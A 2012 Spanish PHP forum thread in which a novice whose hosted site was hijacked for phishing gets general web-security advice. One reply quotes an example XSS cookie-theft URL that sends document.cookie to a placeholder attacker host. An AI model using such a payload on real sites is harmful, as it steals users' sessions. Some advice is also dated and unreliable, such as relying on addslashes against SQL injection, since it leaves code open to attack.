Foros del Web » Programando para Internet » PHP »

Seguridad PHP

Estas en el tema de Seguridad PHP en el foro de PHP en Foros del Web. Hola a todos los miembros del Foro! Si bien este es mi primer tema, hace tiempo que uso el foro, el cual me ha sido ...
  #1 (permalink)  
Antiguo 07/03/2012, 14:52
 
Fecha de Ingreso: marzo-2012
Ubicación: Cordoba
Mensajes: 7
Antigüedad: 12 años, 2 meses
Puntos: 0
Pregunta Seguridad PHP

Hola a todos los miembros del Foro! Si bien este es mi primer tema, hace tiempo que uso el foro, el cual me ha sido en muchas ocasiones de utilidad. Muchas gracias.
El tema es el siguiente: soy un desarrolador PHP novato, tanto, que el primer sitio que subí a un hosting pago me lo dieron de baja por phishing. El sitio no tenía ninguna medida de seguridad. He implementado el filtrado de arrays asociativos tales como $_GET, $_POST, $_FILES, $_REQUEST, $_COOKIES para evitar sql inyection y xss. También utilizo urlencode(). Me falta aprender e implementar directivas en .htaccess.
Mis dudas son las siguientes:
1) puedo seguir usando el mismo dominio que usaba en el sitio atacado que me dieron de baja? ya que el mismo figura en el sitio "CLEAN MX realtime database" donde donde dice que la url tiene el virus "Trojan.JS.BlacoleRef...". También figura en la página "msFilterList #All Companies...".
2) la url que mencionan las páginas antes descriptas es "midomio.com.ar/M0WCqWMU/index.html" la cual contiene la carpeta M0WCqWMU que yo no creé, así como la pagina index.html, obviamente tampoco de mi autoría.
El hecho que hayan creado una carpeta en el document root del sitio atacado y un archivo en ella; ¿podría dar una pista del tipo de ataque para tomar las medidas de seguridad respectivas?

Estaré muy agradecido con cualquier tipo de ayuda.

Nuevamente muchas gracias.

Última edición por BenjaOtero; 07/03/2012 a las 17:02
  #2 (permalink)  
Antiguo 08/03/2012, 04:52
Avatar de repara2  
Fecha de Ingreso: septiembre-2010
Ubicación: München
Mensajes: 2.445
Antigüedad: 13 años, 7 meses
Puntos: 331
Respuesta: Seguridad PHP

Todos estos temas los puedes consultar al tu proveedor de hosting. Respecto del ataque, es inyección de código, la implementación concreta es difícil saberla pero hay miles de artículos al respecto. Puedes empezar por Google. Saludos,
__________________
Fere libenter homines, id quod volunt, credunt.
  #3 (permalink)  
Antiguo 08/03/2012, 06:31
 
Fecha de Ingreso: agosto-2011
Mensajes: 110
Antigüedad: 12 años, 8 meses
Puntos: 13
Respuesta: Seguridad PHP

hola, como te ha dicho repara2, el tema del domino lo puedes consultar con tu proveedor de hosting, pero yo intentaría conseguir uno nuevo por aquello de la confianza.

En cuanto a la seguridad, Eso es un tema muy complejo, hay directivas sencillas a seguir para evitar los ataques mas comunes, pero nunca, jamas podrás tener un sitio completamente seguro salvo que sea una pagina html plana y no permitas interactuar a los usuarios mas que haciendo clic en los enlaces, y aun esto no es 100% seguro

Aquí te escribiré unas cuantas directivas de seguridad pero te recomiendo buscar por internet tutoriales mas completos o comprarte algún libro sobre el tema.

1 ) evitar Buffer Overflow (desbordamiento de buffer):
El buffer overflow se produce cuando los datos enviados son mayores que la memoria disponible, por lo que se sobrescriben zonas de la memoria que en principio estaban destinadas a otras tareas que no son las de almacenar datos. Un hacker hábil puede llegar a ejecutar programas propios mediante esta técnica.
Se suele decir que PHP es "invulnerable " al Buffer Overflow aunque es una creencia errónea y una mala practica de programación por dos motivos
1º para ser invulnerable a este tipo de ataques habría que tener memoria ilimitada (infinita) y que yo sepa, no existe ese tipo de sistema.
2º que la versión actual de php tenga una implementación que dificulta mucho (que lo hace) el uso de esta técnica, no significa que en actualizaciones posteriores, se pueda cometer un error e introducir un bug que permita esta técnica

por lo tanto hay que tenerlo en cuenta.

Evitar el Desbordamiento de buffer o Buffer overflow es bastante sencillo solo debes comprobar los tamaños de los datos que recuperas de los usuarios, mediante el uso de strlen();

Ej, Un nombre de usuario no va a superar los 50 caracteres por lo tanto es razonable limitar a 50 y no permitir valores superiores.


2) Evitar el Cross-Site Scripting( XSS)

A medida que se aumenta la interactividad del usuario con disminuye la protección XSS algo tan simple como permitir que el usuario introduzca enlaces ó imágenes hace que la protección sea casi nula en nuestro sitio

1º si no vas a permitir HTML por parte de los usuarios , usa la función htmlentities()
http://php.net/manual /es/function.htmlentities.php
En muchos lugares no se distingue entre ésta y htmlspecialchars() pero la realidad es que htmlentities filtra algunos caracteres que htmlspecialchars() no , asi que yo te recomiendo la primera (tal vez alguien tiene una razón mejor por la que no )

2º si vas a permitir enlaces, usa la función parse_url()
http://es2.php.net/manual/es/function.parse-url.php
esta función descompone las url en partes y podrás comprobar ciertas cosas como por ejemplo limitar el protocolo a http:// y eliminar los protocolos javascript: , telnet: ... ademas podrás comprobar el host y otros elementos que pueden darte pistas de direcciones malintencionadas.


3º si vas a permitir el uso de imágenes ten en cuenta que el atributo src de la etiqueta img y el atributo background acceden a una dirección url para recuperar la imagen por lo que si el valor es
http://www.example.com/imagen.jpg, no hay problema (En principio, ya que hay otros "peligros " ). Pero la dirección puede ser 'http://www.malicioso.com/script.php?info='.document.cookie y solo por el mero hecho de cargar la pagina, el usuario estaría enviado sus cookies a un script externo. Esto es imposible de prevenir al 100% (como todo en seguridad) pero puedes impedir ciertos elementos de la url en src utilizando expresiones regulares o bien limitando el host a sitios determinados.

4º si vas a permitir html documéntate y utiliza proyectos de código abierto que ya se encargan de esto como HTMLPurifier http://htmlpurifier.org/


3) Evitar el sql inyection

para evitar la inyeccion sql se emplean , básicamente, las funciones addslashes() y stripslashes() para filtrar la entrada y salida de códigos de la BD, aun así , se filtraría solo el código sql pero no se impediría que se almacenase código de script en la base de datos o se intentase desbordar el buffer por lo que es imprescindible combinarlo con las técnicas de prevención anteriores.



4) Evitar el mail inyection
En este mismo foro hay un post muy bueno que explica como evitar la inyección de cabeceras mail para el envío de spam masivo.

http://www.forosdelweb.com/f18/como-...ection-774875/



5) Otras premisas de seguridad.

Para no convertir el post en un articulo sobre seguridad (tampoco soy un experto como para dar mas lecciones) te listare algunos puntos a tener en cuenta al asegurar tu sitio web.

- Desactivar register globals , ya sea mediante php.ini o htaccess.
- No dejes todos los scripts del sitio en el mismo directorio.
- Inicializar todas las variables con un valor por defecto.
- Desactivar las magic_quotes
- Listar todos los campos de los formularios y sus valores esperados , procesando solamente dichos campos.
- Identificar los formularios.
- Asegurar las sesiones para evitar el "secuestro"
- Hacer perecederas las cookies de sesión.
- Enviar los datos confidenciales usando metodos como SSL
- No enviar todos los datos de los que depende un script por URL (GET)
- Validar todas las entradas de formularios, esto no evita ataques pero limita la capacidad de maniobra del atacante (comprobar tipos y usar expresiones regulares)
- si alguna de las entradas de usuario van a una función que ejecuta comandos de consola como exec() utiliza scapeshellcmd() para filtrarlas.

- Manten los documentos delicados fuera del DOCUMENT_ROOT del sitio
- Utiliza permisos minimos de acceso a archivos dentro del documentRoot
- limita ó impide que los usuarios nombren archivos en tu servidor (puedes usar alias en la BD)
- coloca un index.php en cada carpeta e impide que se listen los archivos contenidos en ella
- Configura un archivo robots.txt para evitar que los bots de los buscadores registren las partes privadas de tu sitio


-si cargas los modulos de tu pagina dinamicamente tipo ?page=nombre_modulo , haz que dicho cargador acepte sólo valores de paginas existentes para impedir que se pueda acceder a documentos del servidor a traves de tu web.



como ves, el tema de la seguridad es muy complejo pero todo es ir avanzando poco a poco, lo principal es tener claro 3 cosas

1 - Desconfia de todas las entradas de los usuarios
2 - Algo de seguridad es mejor que nada
3- Los sistemas 100% seguros no existen

te dejo algunos enlaces para que eches un ojo,

opciones de seguridad htaccess
http://dotpress.wordpress.com/2008/0...-con-htaccess/

crear un archivo robots.txt
http://www.contadorwap.com/buscadores-robots.php

Artiuclo sobre el xss (en ingles)
http://www.cgisecurity.com/xss-faq.html

y por ultimo una colecion de snippets de codigo XSS , en general se suele decir que una aplicacion es bastante segura al XSS si empleando los codigos de esta pagina, no se encuentra una vulnerabilidad.

http://ha.ckers.org/xss.html


Me ha quedado un post bastante largo, pero espero haberte ayudado, un saludo.
  #4 (permalink)  
Antiguo 08/03/2012, 08:17
 
Fecha de Ingreso: marzo-2012
Ubicación: Cordoba
Mensajes: 7
Antigüedad: 12 años, 2 meses
Puntos: 0
Respuesta: Seguridad PHP

Muchas gracias repara2 por tu ayuda.
  #5 (permalink)  
Antiguo 08/03/2012, 08:19
 
Fecha de Ingreso: marzo-2012
Ubicación: Cordoba
Mensajes: 7
Antigüedad: 12 años, 2 meses
Puntos: 0
Respuesta: Seguridad PHP

Muchas gracias bray! Evidentemente el tema de la seguridad es complejo; seguiré tu consejo e iré implementando todo lo que pueda de a poco.
Tengo la siguiente duda: es seguro usar strip_tags(), ya que con htmlentities() tuve problemas al guardar los datos en una bd con los acentos y la ñ? Saludos.

Última edición por BenjaOtero; 08/03/2012 a las 08:29
  #6 (permalink)  
Antiguo 08/03/2012, 08:33
 
Fecha de Ingreso: agosto-2011
Mensajes: 110
Antigüedad: 12 años, 8 meses
Puntos: 13
Respuesta: Seguridad PHP

prueba con htmlspecialchars() mejor. strip_tags elimina sólo las etiquetas html e ignora caracteres especiales etc... y podria no ser del todo efectiva. htmlspecialchars no te escapará las ñ ni los acentos. un saludo.
  #7 (permalink)  
Antiguo 08/03/2012, 08:37
 
Fecha de Ingreso: agosto-2011
Mensajes: 110
Antigüedad: 12 años, 8 meses
Puntos: 13
Respuesta: Seguridad PHP

tambien puedes probar htmlentities pasando como tercer argumento "UTF-8"

Ej:

Cita:
htmlentities($cadena,ENT_QUOTES,"UTF-8");

Etiquetas: html, seguridad, sql
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 01:24.